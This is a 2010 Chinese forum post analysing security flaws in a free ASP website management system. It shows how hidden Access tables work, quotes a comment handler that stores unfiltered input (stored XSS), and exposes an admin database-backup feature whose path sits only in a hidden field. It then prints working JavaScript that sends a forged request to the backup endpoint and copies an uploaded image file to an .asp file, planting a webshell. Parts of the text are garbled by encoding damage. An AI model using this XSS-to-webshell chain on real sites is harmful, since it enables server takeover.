以文本方式查看主題 - 曙海教育集團論壇 (http://www.hufushizhe.com/bbs/index.asp) -- SQL Server數(shù)據(jù)庫 (http://www.hufushizhe.com/bbs/list.asp?boardid=67) ---- 利用or構造SQL巧妙注射-分析睿智管理系統(tǒng)安全 (http://www.hufushizhe.com/bbs/dispbbs.asp?boardid=67&id=2532) |
-- 作者:wangxinxin -- 發(fā)布時間:2010-12-13 13:47:46 -- 利用or構造SQL巧妙注射-分析睿智管理系統(tǒng)安全 前言: ???? 最近上cnzz下載了一套網(wǎng)站管理系統(tǒng),在源碼首頁發(fā)現(xiàn)它,心想cnzz都推薦應該安全性相當不錯了.官方下載最新版本本地搭建IIS測試發(fā)現(xiàn)簡潔易用,整體上安全做得不錯.由于是免費版的,可能官方有點放水.不過這里不影響我們的分析,這里討論兩個方面:跨站的利用,SQL注射.還是一句話:重在思路. 一.隱藏的數(shù)據(jù)庫 分析代碼經(jīng)常要用到數(shù)據(jù)庫(我分析的是Access版本的) ,習慣性的打開數(shù)據(jù)庫,驚奇的發(fā)現(xiàn)只有一個notdown表,如圖01: 可是再仔細查看代碼發(fā)現(xiàn)不應該只有這張表的,于是就想是不是隱藏起來了?第一次看到這種情況,于是就查看了下Access幫助說明,在其中發(fā)現(xiàn)原來有還存在兩種屬性的數(shù)據(jù)表,即系統(tǒng)對象和隱藏對象.下面做一個小知識補充: 由于Access默認是不顯示系統(tǒng)對象和隱藏對象的.所以如果一個表中存在隱藏對象或者系統(tǒng)對象那么就無法看到該表了. 簡單說下隱藏方法,設計好表后右擊表選擇"屬性"->"隱藏"屬性打勾,刷新下就看不到了,這樣就是隱藏對象了,默認是看不到的.至于系統(tǒng)對象,我們可以修改表的前綴為 usys,這樣就可以把表改成一個系統(tǒng)對象.這兩種方法都可以. 既然可以隱藏當然也可以恢復顯示了, 按如下操作:“工具”菜單->“選項”命令->“視圖”選項卡->選中“顯示”一欄下的“系統(tǒng)對象”復選框或者"隱藏對象"復選框,并按下“確定”按鈕,就可以重新顯示所有表了.如圖02 Ok了,數(shù)據(jù)就可以和正常的一樣了. 二.跨站的深入利用雞肋 首先看看漏洞文件/include/PlS.asp,查看代碼發(fā)現(xiàn)是一個評論顯示,在多個文件被包含了,代碼如下: "" then ??????Dim Author,Content,mycode ????Author=Trim(Request.Form("Author"))// 簡單的過濾空格 ????Content=Trim(Request.Form("Content")) //同上 ????mycode = trim(request.form("code")) ??????if Author="" or Content="" then ??????Call Alert ("請?zhí)顚懲暾偬峤?amp;quot;,"-1") ????end if ????if mycodeSession("getcode") then ?????? Call Alert ("您輸入驗證碼錯誤","-1") ????end if ??????set rs = server.CreateObject ("adodb.recordset") ????sql="select * from zhi_rui_E_Pl" ????rs.open sql,conn,1,3 ????rs.addnew ????rs("cli")=Request.Form("cli") ????rs("Ioid")=request.Form("Inid") ????rs("Author")=Author ????rs("Content")=Content ??------------------------省略部分代碼------------------------------- %> 顯然沒有任何過濾,直接寫入數(shù)據(jù)庫,跨站產(chǎn)生了.由于數(shù)據(jù)庫是mdb格式的,所有插馬也沒用.這里就想到了是否可以備份數(shù)據(jù)庫?進入后臺看到數(shù)據(jù)庫備份,查看如圖03: 看到了沒,據(jù)庫路徑和備份文件名都不能修改,有些朋友可能就到這里停止,其實不然,還可以繼續(xù),經(jīng)驗告訴我,他是將該輸入框寫成hidden隱藏域了,查看文件/admin/Admin_Data.asp代碼如下: " size="40" />[/td] 看到這行type=hidden,猜測沒錯.那也就是說同樣可以備份任意文件了.所有后臺拿shell比較簡單了.(插馬備份數(shù)據(jù)庫比較麻煩,要繞過// 判斷瀏覽器類型并定義創(chuàng)建xmlhttp會話 if (window.XMLHttpRequest) { ??xmlhttp = new XMLHttpRequest(); } else if (window.ActiveXObject) { ??try ??{ ????xmlhttp = new ActiveXObject("Msxml2.XMLHTTP"); ??} ??catch (e) ??{ ????try ????{ ??????xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); ????} ????catch (e) ????{ ????} ??} } function backup() { ??var postStr = "DBpath=upload/2009082150598817.jpg&bkfolder=../DataBase/bak/&bkDBname=l4nk0r.asp"; ??xmlhttp.open("OST","/admin/Admin_data.asp?action=RestoreData&act=Restore",true); ??xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); ??xmlhttp.send(postStr); } Backup(); 然后在你要提交的地方提交 |